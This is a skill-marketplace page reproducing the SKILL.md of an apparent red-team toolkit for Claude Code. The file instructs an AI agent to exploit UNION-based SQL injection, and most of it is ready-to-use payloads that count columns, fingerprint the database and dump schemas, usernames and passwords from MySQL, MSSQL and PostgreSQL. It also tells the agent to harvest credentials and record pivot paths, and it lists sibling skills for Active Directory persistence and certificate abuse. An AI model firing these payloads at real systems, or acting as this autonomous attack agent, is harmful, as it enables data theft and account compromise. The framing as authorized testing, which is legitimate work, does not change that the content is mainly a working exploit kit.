/sql-injection-union
Guide UNION-based SQL injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill sql-injection-union --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/sql-injection-union
Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide UNION-based SQL injection exploitation during authorized penetration testing.
SKILL.md
sql-injection-union.SKILL.mdname: sql-injection-union
description: >
Guide UNION-based SQL injection exploitation during authorized penetration
testing.
keywords:
- UNION SELECT
- union injection
- column count
- ORDER BY injection
- data in the response
- query output visible
- displayed columns
tools:
- sqlmap
- burpsuite
opsec: medium
UNION-Based SQL Injection
You are helping a penetration tester exploit UNION-based SQL injection. The target application renders query results in the HTTP response, allowing direct data extraction by appending UNION SELECT. This is the fastest SQLi extraction technique when it works. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sql-injection-union] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see **web-discovery**)
- Query output rendered somewhere in the HTTP response
- UNION keyword not blocked by WAF (if blocked, try **sql-injection-error** or **sql-injection-blind**)
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine: 1. **Injection point** — URL, parameter name, request method 2. **Response behavior** — does query output appear in the page? 3. **DBMS** — if known from error messages or prior testing
Skip if context was already provided.
Step 2: Determine Column Count
Two methods — try both, use whichever succeeds.
**ORDER BY method** — increment until error:
' ORDER BY 1--+ -- OK
' ORDER BY 2--+ -- OK
' ORDER BY 3--+ -- OK
' ORDER BY 4--+ -- ERROR -> 3 columns
**UNION SELECT NULL method** — increment NULLs until no error:
' UNION SELECT NULL--+ -- ERROR
' UNION SELECT NULL,NULL--+ -- ERROR
' UNION SELECT NULL,NULL,NULL--+ -- OK -> 3 columns
Step 3: Find Displayed Columns
Replace NULLs one at a time with a visible marker:
' UNION SELECT 'AAA',NULL,NULL--+
' UNION SELECT NULL,'BBB',NULL--+
' UNION SELECT NULL,NULL,'CCC'--+
Look for `AAA`, `BBB`, or `CCC` in the response. Those column positions are your extraction points.
Step 4: Identify DBMS
If not already known, inject version functions in a displayed column:
' UNION SELECT version(),NULL,NULL--+ -- MySQL / PostgreSQL
' UNION SELECT @@version,NULL,NULL--+ -- MSSQL
' UNION SELECT banner,NULL,NULL FROM v$version WHERE ROWNUM=1--+ -- Oracle
' UNION SELECT sqlite_version(),NULL,NULL--+ -- SQLite
Step 5: Extract Data
MySQL
-- Current user and database
' UNION SELECT user(),database(),NULL--+
-- List all databases
' UNION SELECT GROUP_CONCAT(schema_name),NULL,NULL FROM information_schema.schemata--+
-- List tables in target database
' UNION SELECT GROUP_CONCAT(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema='TARGET_DB'--+
-- List columns in target table
' UNION SELECT GROUP_CONCAT(column_name),NULL,NULL FROM information_schema.columns WHERE table_name='TARGET_TABLE'--+
-- Extract data
' UNION SELECT GROUP_CONCAT(username,0x3a,password),NULL,NULL FROM TARGET_DB.TARGET_TABLE--+
**Dump In One Shot (DIOS)**:
' UNION SELECT CONCAT('~',(SELECT GROUP_CONCAT(table_name,0x3a,column_name SEPARATOR 0x0a) FROM information_schema.columns WHERE table_schema=database())),NULL,NULL--+**Without information_schema** (when blocked by WAF):
' UNION SELECT GROUP_CONCAT(table_name),NULL,NULL FROM mysql.innodb_table_stats WHERE database_name=database()--+
MSSQL
-- Current user and database
' UNION SELECT SYSTEM_USER,DB_NAME(),NULL--+
-- List all databases
' UNION SELECT STRING_AGG(name,','),NULL,NULL FROM master..sysdatabases--+
-- List tables in current database
' UNION SELECT STRING_AGG(name,','),NULL,NULL FROM sysobjects WHERE xtype='U'--+
-- List columns in target table
' UNION SELECT STRING_AGG(name,','),NULL,NULL FROM syscolumns WHERE id=OBJECT_ID('TARGET_TABLE')--+
-- Extract data
' UNION SELECT STRING_AGG(username+':'+password,','),NULL,NULL FROM TARGET_TABLE--+
-- FOR JSON extraction (full table as JSON)
' UNION SELECT (SELECT * FROM TARGET_TABLE FOR JSON AUTO),NULL,NULL--+**Iterate databases** when STRING_AGG unavailable (older MSSQL):
' UNION SELECT DB_NAME(0),NULL,NULL--+
' UNION SELECT DB_NAME(1),NULL,NULL--+
PostgreSQL
-- Current user and database
' UNION SELECT current_user,current_database(),NULL--+
-- List all databases
' UNION SELECT STRING_AGG(datname,','),NULL,NULL FROM pg_database--+
-- List tables in public schema
' UNION SELECT STRING_AGG(tablename,','),NULL,NULL FROM pg_tables WHERE schemaname='public'--+
-- List columns in target table
' UNION SELECT STRING_AGG(column_name,','),NULL,NULL FROM information_schema.columns WHERE table_name='TARGET_TABLE'--+
-- Extract data
' UNION SELECT STRING_AGG(username||':'||password,','),NULL,NULL FROM TARGET_TABLE--+
-- XML helper — dump entire table in one query
' UNION SELECT query_to_xml('SELECT * FROM TARGET_TABLE',true,false,'')::text,NULL,NULL--+
`Read more
name: sql-injection-union description: > Guide UNION-based SQL injection exploitation during authorized penetration testing. keywords: - UNION SELECT - union injection - column count - ORDER BY injection - data in the response - query output visible - displayed columns tools: - sqlmap - burpsuite opsec: medium
UNION-Based SQL Injection
You are helping a penetration tester exploit UNION-based SQL injection. The target application renders query results in the HTTP response, allowing direct data extraction by appending UNION SELECT. This is the fastest SQLi extraction technique when it works. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sql-injection-union] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see **web-discovery**)
- Query output rendered somewhere in the HTTP response
- UNION keyword not blocked by WAF (if blocked, try **sql-injection-error** or **sql-injection-blind**)
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine: 1. **Injection point** — URL, parameter name, request method 2. **Response behavior** — does query output appear in the page? 3. **DBMS** — if known from error messages or prior testing
Skip if context was already provided.
Step 2: Determine Column Count
Two methods — try both, use whichever succeeds.
**ORDER BY method** — increment until error:
' ORDER BY 1--+ -- OK ' ORDER BY 2--+ -- OK ' ORDER BY 3--+ -- OK ' ORDER BY 4--+ -- ERROR -> 3 columns
**UNION SELECT NULL method** — increment NULLs until no error:
' UNION SELECT NULL--+ -- ERROR ' UNION SELECT NULL,NULL--+ -- ERROR ' UNION SELECT NULL,NULL,NULL--+ -- OK -> 3 columns
Step 3: Find Displayed Columns
Replace NULLs one at a time with a visible marker:
' UNION SELECT 'AAA',NULL,NULL--+ ' UNION SELECT NULL,'BBB',NULL--+ ' UNION SELECT NULL,NULL,'CCC'--+
Look for `AAA`, `BBB`, or `CCC` in the response. Those column positions are your extraction points.
Step 4: Identify DBMS
If not already known, inject version functions in a displayed column:
' UNION SELECT version(),NULL,NULL--+ -- MySQL / PostgreSQL ' UNION SELECT @@version,NULL,NULL--+ -- MSSQL ' UNION SELECT banner,NULL,NULL FROM v$version WHERE ROWNUM=1--+ -- Oracle ' UNION SELECT sqlite_version(),NULL,NULL--+ -- SQLite
Step 5: Extract Data
MySQL
-- Current user and database ' UNION SELECT user(),database(),NULL--+ -- List all databases ' UNION SELECT GROUP_CONCAT(schema_name),NULL,NULL FROM information_schema.schemata--+ -- List tables in target database ' UNION SELECT GROUP_CONCAT(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema='TARGET_DB'--+ -- List columns in target table ' UNION SELECT GROUP_CONCAT(column_name),NULL,NULL FROM information_schema.columns WHERE table_name='TARGET_TABLE'--+ -- Extract data ' UNION SELECT GROUP_CONCAT(username,0x3a,password),NULL,NULL FROM TARGET_DB.TARGET_TABLE--+
**Dump In One Shot (DIOS)**:
' UNION SELECT CONCAT('~',(SELECT GROUP_CONCAT(table_name,0x3a,column_name SEPARATOR 0x0a) FROM information_schema.columns WHERE table_schema=database())),NULL,NULL--+**Without information_schema** (when blocked by WAF):
' UNION SELECT GROUP_CONCAT(table_name),NULL,NULL FROM mysql.innodb_table_stats WHERE database_name=database()--+
MSSQL
-- Current user and database
' UNION SELECT SYSTEM_USER,DB_NAME(),NULL--+
-- List all databases
' UNION SELECT STRING_AGG(name,','),NULL,NULL FROM master..sysdatabases--+
-- List tables in current database
' UNION SELECT STRING_AGG(name,','),NULL,NULL FROM sysobjects WHERE xtype='U'--+
-- List columns in target table
' UNION SELECT STRING_AGG(name,','),NULL,NULL FROM syscolumns WHERE id=OBJECT_ID('TARGET_TABLE')--+
-- Extract data
' UNION SELECT STRING_AGG(username+':'+password,','),NULL,NULL FROM TARGET_TABLE--+
-- FOR JSON extraction (full table as JSON)
' UNION SELECT (SELECT * FROM TARGET_TABLE FOR JSON AUTO),NULL,NULL--+**Iterate databases** when STRING_AGG unavailable (older MSSQL):
' UNION SELECT DB_NAME(0),NULL,NULL--+ ' UNION SELECT DB_NAME(1),NULL,NULL--+
PostgreSQL
-- Current user and database
' UNION SELECT current_user,current_database(),NULL--+
-- List all databases
' UNION SELECT STRING_AGG(datname,','),NULL,NULL FROM pg_database--+
-- List tables in public schema
' UNION SELECT STRING_AGG(tablename,','),NULL,NULL FROM pg_tables WHERE schemaname='public'--+
-- List columns in target table
' UNION SELECT STRING_AGG(column_name,','),NULL,NULL FROM information_schema.columns WHERE table_name='TARGET_TABLE'--+
-- Extract data
' UNION SELECT STRING_AGG(username||':'||password,','),NULL,NULL FROM TARGET_TABLE--+
-- XML helper — dump entire table in one query
' UNION SELECT query_to_xml('SELECT * FROM TARGET_TABLE',true,false,'')::text,NULL,NULL--+
`Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

